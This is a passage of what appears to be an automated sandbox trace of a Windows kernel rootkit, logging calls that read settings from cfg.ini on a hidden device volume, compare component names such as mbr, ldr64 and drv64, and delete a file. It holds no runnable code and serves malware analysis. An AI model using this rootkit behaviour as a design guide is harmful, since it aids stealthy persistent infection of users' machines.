_Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.962] KeEnterCriticalRegion () [0129.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.963] IdePortDispatch () returned 0x103 [0129.963] KeWaitForMutexObject () returned 0x0 [0129.963] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.963] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.963] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.963] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.963] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.963] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.963] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.963] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.963] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.963] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.963] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.963] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.963] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.963] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.963] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.963] KeLeaveCriticalRegion () [0129.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.963] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.963] KeEnterCriticalRegion () [0129.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.963] IdePortDispatch () returned 0x103 [0129.963] KeWaitForMutexObject () returned 0x0 [0129.964] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.964] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.964] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.964] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.964] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.964] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.964] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.964] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.964] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.964] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.964] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.964] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.964] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.964] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.964] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.964] KeLeaveCriticalRegion () [0129.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.964] ReleaseMutex (hMutex=0x100) returned 1 [0129.964] Sleep (dwMilliseconds=0x2bf20) [0129.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70a8f6f0, dwHighDateTime=0x1d24fa4)) [0129.970] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.970] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.970] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.970] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.970] KeEnterCriticalRegion () [0129.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.971] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.971] IdePortDispatch () returned 0x103 [0129.971] KeWaitForMutexObject () returned 0x0 [0129.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.971] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.971] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.971] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.971] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.971] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.971] KeLeaveCriticalRegion () [0129.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.971] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.971] KeEnterCriticalRegion () [0129.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.971] KeLeaveCriticalRegion () [0129.971] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.971] KeEnterCriticalRegion () [0129.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.971] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.971] IdePortDispatch () returned 0x103 [0129.971] KeWaitForMutexObject () returned 0x0 [0129.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.972] KeLeaveCriticalRegion () [0129.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.972] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.972] KeEnterCriticalRegion () [0129.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d01000 [0129.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.972] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.972] IdePortDispatch () returned 0x103 [0129.972] KeWaitForMutexObject () returned 0x0 [0129.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.972] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.972] IdePortDispatch () returned 0x103 [0129.972] KeWaitForMutexObject () returned 0x0 [0129.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] KeLeaveCriticalRegion () [0129.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.973] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.973] KeEnterCriticalRegion () [0129.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] KeLeaveCriticalRegion () [0129.973] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.973] KeEnterCriticalRegion () [0129.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.973] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] KeLeaveCriticalRegion () [0129.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.973] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.973] KeEnterCriticalRegion () [0129.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.973] KeLeaveCriticalRegion () [0129.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.973] ReleaseMutex (hMutex=0xf0) returned 1 [0129.973] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.974] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.974] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.974] KeEnterCriticalRegion () [0129.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.974] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.974] IdePortDispatch () returned 0x103 [0129.974] KeWaitForMutexObject () returned 0x0 [0129.974] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.974] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.974] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.974] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.974] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.974] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01870 [0129.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.974] KeLeaveCriticalRegion () [0129.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.974] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.974] KeEnterCriticalRegion () [0129.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.974] KeLeaveCriticalRegion () [0129.974] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.974] KeEnterCriticalRegion () [0129.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.974] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.974] IdePortDispatch () returned 0x103 [0129.974] KeWaitForMutexObject () returned 0x0 [0129.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.975] KeLeaveCriticalRegion () [0129.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.975] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.975] KeEnterCriticalRegion () [0129.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d02000 [0129.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.975] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.975] IdePortDispatch () returned 0x103 [0129.975] KeWaitForMutexObject () returned 0x0 [0129.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.975] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.975] IdePortDispatch () returned 0x103 [0129.975] KeWaitForMutexObject () returned 0x0 [0129.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.975] KeLeaveCriticalRegion () [0129.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.976] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.976] KeEnterCriticalRegion () [0129.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.976] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.976] KeLeaveCriticalRegion () [0129.976] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.976] KeEnterCriticalRegion () [0129.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.976] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.976] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.976] KeLeaveCriticalRegion () [0129.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.976] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.976] KeEnterCriticalRegion () [0129.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.976] ExFreePoolWithTag (P=0xfffffa8003c01870, Tag=0x0) [0129.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.976] KeLeaveCriticalRegion () [0129.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.976] ReleaseMutex (hMutex=0xf0) returned 1 [0129.976] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.977] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.977] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.977] KeEnterCriticalRegion () [0129.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.977] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.977] IdePortDispatch () returned 0x103 [0129.977] KeWaitForMutexObject () returned 0x0 [0129.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.977] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.977] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.977] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.977] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.977] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c074c0 [0129.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.977] KeLeaveCriticalRegion () [0129.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.977] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.977] KeEnterCriticalRegion () [0129.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.977] KeLeaveCriticalRegion () [0129.977] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.977] KeEnterCriticalRegion () [0129.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.977] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.977] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.977] IdePortDispatch () returned 0x103 [0129.978] KeWaitForMutexObject () returned 0x0 [0129.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.978] KeLeaveCriticalRegion () [0129.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.978] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.978] KeEnterCriticalRegion () [0129.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d03000 [0129.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.978] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.978] IdePortDispatch () returned 0x103 [0129.978] KeWaitForMutexObject () returned 0x0 [0129.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 